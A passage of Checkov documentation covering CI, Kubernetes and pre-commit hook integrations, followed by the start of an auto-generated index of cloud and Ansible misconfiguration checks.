without an interactive TTY. Although Checkov does not currently support an environment variable to force colored output, the `script` command can be used to emulate `tty` so colors are displayed: ```yaml stages: - test checkov: stage: test allow_failure: true # True for AutoDevOps compatibility image: name: bridgecrew/checkov:latest entrypoint: - '/usr/bin/env' - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' rules: - if: $SAST_DISABLED when: never - if: $CI_COMMIT_BRANCH exists: - '**/*.yml' - '**/*.yaml' - '**/*.json' - '**/*.template' - '**/*.tf' - '**/serverless.yml' - '**/serverless.yaml' script: # Use `script` to emulate `tty` for colored output. - script -q -c 'checkov -d . ; echo $? > CKVEXIT' - exit $(cat CKVEXIT) ``` See the [GitLab CI documentation](https://docs.gitlab.com/ee/ci/) for additional information. There is also a working example of using GitLab CI with Checkov [here](https://gitlab.com/guided-explorations/ci-cd-plugin-extensions/checkov-iac-sast). This example shows how to use the same Checkov YAML file as an includable extension so that all your jobs reuse the same job definition. ================================================ FILE: docs/4.Integrations/Jenkins.md ================================================ --- layout: default published: true title: Jenkins nav_order: 1 --- # Integrate Checkov with Jenkins Below is a simple example integration with Jenkins using the Checkov container image. This will result in build failures whenever developers create and modify infrastructure as code with misconfigurations. To prevent developer frustration from failed builds, we recommend training and encouraging usage of Checkov's inline suppressions. ## Tutorial 1. Create new Jenkins Pipeline or integrate into an existing one. ![](jenkins_new_pipeline.png) 2. Add new a stage into the pipeline definition using a `pipeline script` ```groovy pipeline { agent any stages { stage('Checkout') { steps { git branch: 'master', url: 'https://github.com/bridgecrewio/terragoat' stash includes: '**/*', name: 'terragoat' } } stage('Checkov') { steps { script { docker.image('bridgecrew/checkov:latest').inside("--entrypoint=''") { unstash 'terragoat' try { sh 'checkov -d . --use-enforcement-rules -o cli -o junitxml --output-file-path console,results.xml --repo-id example/terragoat --branch master' junit skipPublishingChecks: true, testResults: 'results.xml' } catch (err) { junit skipPublishingChecks: true, testResults: 'results.xml' throw err } } } } } } options { preserveStashes() timestamps() } } ``` Alternatively, add the following script to install and run Checkov without an image: ```groovy sh "pipenv run pip install checkov" sh "pipenv run checkov -d . --use-enforcement-rules -o cli -o junitxml --output-file-path console,results.xml --repo-id example/terragoat --branch master" ``` Example ![](jenkins_pipeline_definition.png) 3. Run `Build Now` View build dashboard ![](jenkins_all_jobs.png) View job status ![](jenkins_failed_job.png) Review test result ![](jenkins_test_results.png) ================================================ FILE: docs/4.Integrations/Kubernetes.md ================================================ --- layout: default published: true title: Kubernetes nav_order: 5 --- # Integrate Checkov with Kubernetes Checkov is built to scan static code and is typically used at build time. However, resources running in a Kubernetes cluster can be described in the same way as at build-time. This allows Checkov to run in a cluster with read-only access and report on the same violations. ## Execution To run Checkov in your cluster, you must have Kubernetes CLI access to the cluster. To execute a job against your cluster, run the following manifest: ```bash kubectl apply -f https://raw.githubusercontent.com/bridgecrewio/checkov/main/kubernetes/checkov-job.yaml ``` Review the output of the job: ```bash kubectl get jobs -n checkov kubectl logs job/checkov -n checkov ``` ================================================ FILE: docs/4.Integrations/pre-commit.md ================================================ --- layout: default published: true title: Pre-Commit Hooks nav_order: 6 --- # Pre-Commit Hooks To automatically run Checkov whenever files in your Git repository change, first [install the pre-commit binary](https://pre-commit.com/#install) and then add a [.pre-commit-config.yaml](https://github.com/bridgecrewio/checkov/blob/main/.pre-commit-config.yaml) file to your project with content similar to the example below. NOTE: Depending on the hook id you select for pre-commit hooks, you may need to provide the following: * For the `python` hooks, pre-commit 3.x is able to provide [python](https://pre-commit.com/#python) without additional dependencies. * For the `container` hooks, the [Docker](https://docs.docker.com/get-docker/) CLI and a container runtime must be available. ```yaml - repo: https://github.com/bridgecrewio/checkov.git rev: '' # change to tag or sha hooks: - id: checkov # - id: checkov_container # - id: checkov_diff # - id: checkov_diff_container # - id: checkov_secrets # - id: checkov_secrets_container ``` Make sure to change `rev:` to be either a git commit sha or tag of checkov containing `.pre-commit-hooks.yaml`. Note that local environment variables will apply when using pre-commit hooks. In urgent situations, pre-commit hooks can be skipped with the `--no-verify` flag. After adding the hooks to `.pre-commit-config.yaml` run the following command(s): ```bash pre-commit install --install-hooks ``` or ```bash pre-commit install pre-commit install-hooks ``` ## Adding Custom Parameters By default, the Checkov pre-commit hook runs when there are changes to `.tf` files. This can be modified by overriding the file parameter: ```yaml repos: - repo: https://github.com/bridgecrewio/checkov.git rev: '' # change to tag or sha hooks: - id: checkov files: \.y(a)?ml$ # any kind of regex of file types you are interested to trigger the pre-commit hook ``` You can use the `args` property to input arguments to Checkov. In the example below, Checkov output will be printed, and then Checkov will proceed to the next pre-commit check *regardless of success/failure*. ```yaml repos: - repo: https://github.com/bridgecrewio/checkov.git rev: '' # change to tag or sha hooks: - id: checkov verbose: true args: [--soft-fail] - repo: https://github.com/pre-commit/pre-commit-hooks rev: v3.2.0 hooks: - id: trailing-whitespace ``` Similarly, to specify custom policies installed in the `checks` directory of your repository, use the following: ```yaml repos: - repo: https://github.com/bridgecrewio/checkov.git rev: '' # change to tag or sha hooks: - id: checkov args: [--external-checks-dir, 'checks'] ``` Or you can override the entry altogether: ```yaml repos: - repo: https://github.com/bridgecrewio/checkov.git rev: '' # change to tag or sha hooks: - id: checkov entry: checkov -d . --skip-check CKV_AWS_123 ``` When using the `diff` or `secrets` hooks, the last argument _must_ be `-f` due to how `checkov` and `pre-commit` interact: ```yaml - id: checkov_secrets_container args: - '--quiet' - '-f' # required and must come last ``` By default, the container based pre-commit hooks use the `latest` tag. This can be overridden by declaring the version number in the entry field in the pre-commit config. ```yaml hooks: - id: checkov_container entry: bridgecrew/checkov:2.4.2 -d . ## Diff scanning pre-commit hook To let `checkov` only scan the changed files choose the `checkov_diff` hook, which scans against all frameworks: ```yaml repos: - repo: https://github.com/bridgecrewio/checkov.git rev: '' # change to tag or sha hooks: - id: checkov_diff # - id: checkov_diff_container ``` if you want to customize this hook, you need to override the `entry` field, because the file flag `-f` has to be at the end: ```yaml repos: - repo: https://github.com/bridgecrewio/checkov.git rev: '' # change to tag or sha hooks: - id: checkov_diff entry: checkov --framework terraform -f ``` ## Secrets scanning pre-commit hook Checkov also natively has a secrets only pre-commit hook that scans all files just for secrets: ```yaml repos: - repo: https://github.com/bridgecrewio/checkov.git rev: '' # change to tag or sha hooks: - id: checkov_secrets # - id: checkov_secrets_container ``` ================================================ FILE: docs/404.md ================================================ --- permalink: /404.html --- Page not found :( ================================================ FILE: docs/5.Policy Index/all.md ================================================ --- layout: default title: all resource scans nav_order: 1 --- # all resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |------|--------------------------|----------------------------------|--------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV2_ADO_1 | resource | azuredevops_branch_policy_min_reviewers | Ensure at least two approving reviews for PRs | Terraform | [ADORepositoryHasMinTwoReviewers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml) | | 1 | CKV2_ADO_1 | resource | azuredevops_git_repository | Ensure at least two approving reviews for PRs | Terraform | [ADORepositoryHasMinTwoReviewers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml) | | 2 | CKV_ALI_1 | resource | alicloud_oss_bucket | Alibaba Cloud OSS bucket accessible to public | Terraform | [OSSBucketPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml) | | 3 | CKV_ALI_1 | resource | alicloud_oss_bucket_acl | Alibaba Cloud OSS bucket accessible to public | Terraform | [OSSBucketPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml) | | 4 | CKV_ALI_2 | resource | alicloud_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress22.py) | | 5 | CKV_ALI_3 | resource | alicloud_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress3389.py) | | 6 | CKV_ALI_4 | resource | alicloud_actiontrail_trail | Ensure Action Trail Logging for all regions | Terraform | [ActionTrailLogAllRegions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ActionTrailLogAllRegions.py) | | 7 | CKV_ALI_5 | resource | alicloud_actiontrail_trail | Ensure Action Trail Logging for all events | Terraform | [ActionTrailLogAllEvents.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ActionTrailLogAllEvents.py) | | 8 | CKV_ALI_6 | resource | alicloud_oss_bucket | Ensure OSS bucket is encrypted with Customer Master Key | Terraform | [OSSBucketEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketEncryptedWithCMK.py) | | 9 | CKV_ALI_7 | resource | alicloud_disk | Ensure disk is encrypted | Terraform | [DiskIsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/DiskIsEncrypted.py) | | 10 | CKV_ALI_8 | resource | alicloud_disk | Ensure Disk is encrypted with Customer Master Key | Terraform | [DiskEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/DiskEncryptedWithCMK.py) | | 11 | CKV_ALI_9 | resource | alicloud_db_instance | Ensure database instance is not public | Terraform | [RDSIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSIsPublic.py) | | 12 | CKV_ALI_10 | resource | alicloud_oss_bucket | Ensure OSS bucket has versioning enabled | Terraform | [OSSBucketVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketVersioning.py) | | 13 | CKV_ALI_11 | resource | alicloud_oss_bucket | Ensure OSS bucket has transfer Acceleration enabled | Terraform | [OSSBucketTransferAcceleration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketTransferAcceleration.py) | | 14 | CKV_ALI_12 | resource | alicloud_oss_bucket | Ensure the OSS bucket has access logging enabled | Terraform | [OSSBucketAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketAccessLogs.py) | | 15 | CKV_ALI_13 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires minimum length of 14 or greater | Terraform | [RAMPasswordPolicyLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLength.py) | | 16 | CKV_ALI_14 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires at least one number | Terraform | [RAMPasswordPolicyNumber.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyNumber.py) | | 17 | CKV_ALI_15 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires at least one symbol | Terraform | [RAMPasswordPolicySymbol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicySymbol.py) | | 18 | CKV_ALI_16 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy expires passwords within 90 days or less | Terraform | [RAMPasswordPolicyExpiration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyExpiration.py) | | 19 | CKV_ALI_17 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires at least one lowercase letter | Terraform | [RAMPasswordPolicyLowercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLowercaseLetter.py) | | 20 | CKV_ALI_18 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy prevents password reuse | Terraform | [RAMPasswordPolicyReuse.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyReuse.py) | | 21 | CKV_ALI_19 | resource | alicloud_ram_account_password_policy | Ensure RAM password policy requires at least one uppercase letter | Terraform | [RAMPasswordPolicyUppcaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyUppcaseLetter.py) | | 22 | CKV_ALI_20 | resource | alicloud_db_instance | Ensure RDS instance uses SSL | Terraform | [RDSInstanceSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceSSL.py) | | 23 | CKV_ALI_21 | resource | alicloud_api_gateway_api | Ensure API Gateway API Protocol HTTPS | Terraform | [APIGatewayProtocolHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/APIGatewayProtocolHTTPS.py) | | 24 | CKV_ALI_22 | resource | alicloud_db_instance | Ensure Transparent Data Encryption is Enabled on instance | Terraform | [RDSTransparentDataEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSTransparentDataEncryptionEnabled.py) | | 25 | CKV_ALI_23 | resource | alicloud_ram_account_password_policy | Ensure Ram Account Password Policy Max Login Attempts not > 5 | Terraform | [RAMPasswordPolicyMaxLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyMaxLogin.py) | | 26 | CKV_ALI_24 | resource | alicloud_ram_security_preference | Ensure RAM enforces MFA | Terraform | [RAMSecurityEnforceMFA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMSecurityEnforceMFA.py) | | 27 | CKV_ALI_25 | resource | alicloud_db_instance | Ensure RDS Instance SQL Collector Retention Period should be greater than 180 | Terraform | [RDSRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSRetention.py) | | 28 | CKV_ALI_26 | resource | alicloud_cs_kubernetes | Ensure Kubernetes installs plugin Terway or Flannel to support standard policies | Terraform | [K8sEnableNetworkPolicies.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/K8sEnableNetworkPolicies.py) | | 29 | CKV_ALI_27 | resource | alicloud_kms_key | Ensure KMS Key Rotation is enabled | Terraform | [KMSKeyRotationIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/KMSKeyRotationIsEnabled.py) | | 30 | CKV_ALI_28 | resource | alicloud_kms_key | Ensure KMS Keys are enabled | Terraform | [KMSKeyIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/KMSKeyIsEnabled.py) | | 31 | CKV_ALI_29 | resource | alicloud_alb_acl_entry_attachment | Alibaba ALB ACL does not restrict Access | Terraform | [ALBACLIsUnrestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ALBACLIsUnrestricted.py) | | 32 | CKV_ALI_30 | resource | alicloud_db_instance | Ensure RDS instance auto upgrades for minor versions | Terraform | [RDSInstanceAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceAutoUpgrade.py) | | 33 | CKV_ALI_31 | resource | alicloud_cs_kubernetes_node_pool | Ensure K8s nodepools are set to auto repair | Terraform | [K8sNodePoolAutoRepair.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/K8sNodePoolAutoRepair.py) | | 34 | CKV_ALI_32 | resource | alicloud_ecs_launch_template | Ensure launch template data disks are encrypted | Terraform | [LaunchTemplateDisksAreEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/LaunchTemplateDisksAreEncrypted.py) | | 35 | CKV_ALI_33 | resource | alicloud_slb_tls_cipher_policy | Alibaba Cloud Cypher Policy are secure | Terraform | [TLSPoliciesAreSecure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/TLSPoliciesAreSecure.py) | | 36 | CKV_ALI_35 | resource | alicloud_db_instance | Ensure RDS instance has log_duration enabled | Terraform | [RDSInstanceLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogsEnabled.py) | | 37 | CKV_ALI_36 | resource | alicloud_db_instance | Ensure RDS instance has log_disconnections enabled | Terraform | [RDSInstanceLogDisconnections.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogDisconnections.py) | | 38 | CKV_ALI_37 | resource | alicloud_db_instance | Ensure RDS instance has log_connections enabled | Terraform | [RDSInstanceLogConnections.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogConnections.py) | | 39 | CKV_ALI_38 | resource | alicloud_log_audit | Ensure log audit is enabled for RDS | Terraform | [LogAuditRDSEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/LogAuditRDSEnabled.py) | | 40 | CKV_ALI_41 | resource | alicloud_mongodb_instance | Ensure MongoDB is deployed inside a VPC | Terraform | [MongoDBInsideVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBInsideVPC.py) | | 41 | CKV_ALI_42 | resource | alicloud_mongodb_instance | Ensure Mongodb instance uses SSL | Terraform | [MongoDBInstanceSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBInstanceSSL.py) | | 42 | CKV_ALI_43 | resource | alicloud_mongodb_instance | Ensure MongoDB instance is not public | Terraform | [MongoDBIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBIsPublic.py) | | 43 | CKV_ALI_44 | resource | alicloud_mongodb_instance | Ensure MongoDB has Transparent Data Encryption Enabled | Terraform | [MongoDBTransparentDataEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBTransparentDataEncryptionEnabled.py) | | 44 | CKV_ANSIBLE_1 | resource | [?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 45 | CKV_ANSIBLE_1 | resource | [?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 46 | CKV_ANSIBLE_1 | resource | [].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 47 | CKV_ANSIBLE_1 | resource | [].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 48 | CKV_ANSIBLE_1 | resource | [].block[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 49 | CKV_ANSIBLE_1 | resource | [].block[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 50 | CKV_ANSIBLE_1 | resource | [].block[].block[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 51 | CKV_ANSIBLE_1 | resource | [].block[].block[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 52 | CKV_ANSIBLE_1 | resource | [].tasks[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 53 | CKV_ANSIBLE_1 | resource | [].tasks[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 54 | CKV_ANSIBLE_1 | resource | [].tasks[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 55 | CKV_ANSIBLE_1 | resource | [].tasks[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 56 | CKV_ANSIBLE_1 | resource | [].tasks[].block[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 57 | CKV_ANSIBLE_1 | resource | [].tasks[].block[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 58 | CKV_ANSIBLE_1 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 59 | CKV_ANSIBLE_1 | resource | [].tasks[].block[].block[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 60 | CKV_ANSIBLE_2 | resource | [?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 61 | CKV_ANSIBLE_2 | resource | [?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 62 | CKV_ANSIBLE_2 | resource | [].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 63 | CKV_ANSIBLE_2 | resource | [].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 64 | CKV_ANSIBLE_2 | resource | [].block[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 65 | CKV_ANSIBLE_2 | resource | [].block[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 66 | CKV_ANSIBLE_2 | resource | [].block[].block[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 67 | CKV_ANSIBLE_2 | resource | [].block[].block[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 68 | CKV_ANSIBLE_2 | resource | [].tasks[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 69 | CKV_ANSIBLE_2 | resource | [].tasks[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 70 | CKV_ANSIBLE_2 | resource | [].tasks[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 71 | CKV_ANSIBLE_2 | resource | [].tasks[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 72 | CKV_ANSIBLE_2 | resource | [].tasks[].block[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 73 | CKV_ANSIBLE_2 | resource | [].tasks[].block[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 74 | CKV_ANSIBLE_2 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 75 | CKV_ANSIBLE_2 | resource | [].tasks[].block[].block[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 76 | CKV_ANSIBLE_3 | resource | [?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 77 | CKV_ANSIBLE_3 | resource | [?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 78 | CKV_ANSIBLE_3 | resource | [].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 79 | CKV_ANSIBLE_3 | resource | [].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 80 | CKV_ANSIBLE_3 | resource | [].block[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 81 | CKV_ANSIBLE_3 | resource | [].block[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 82 | CKV_ANSIBLE_3 | resource | [].block[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 83 | CKV_ANSIBLE_3 | resource | [].block[].block[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 84 | CKV_ANSIBLE_3 | resource | [].tasks[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 85 | CKV_ANSIBLE_3 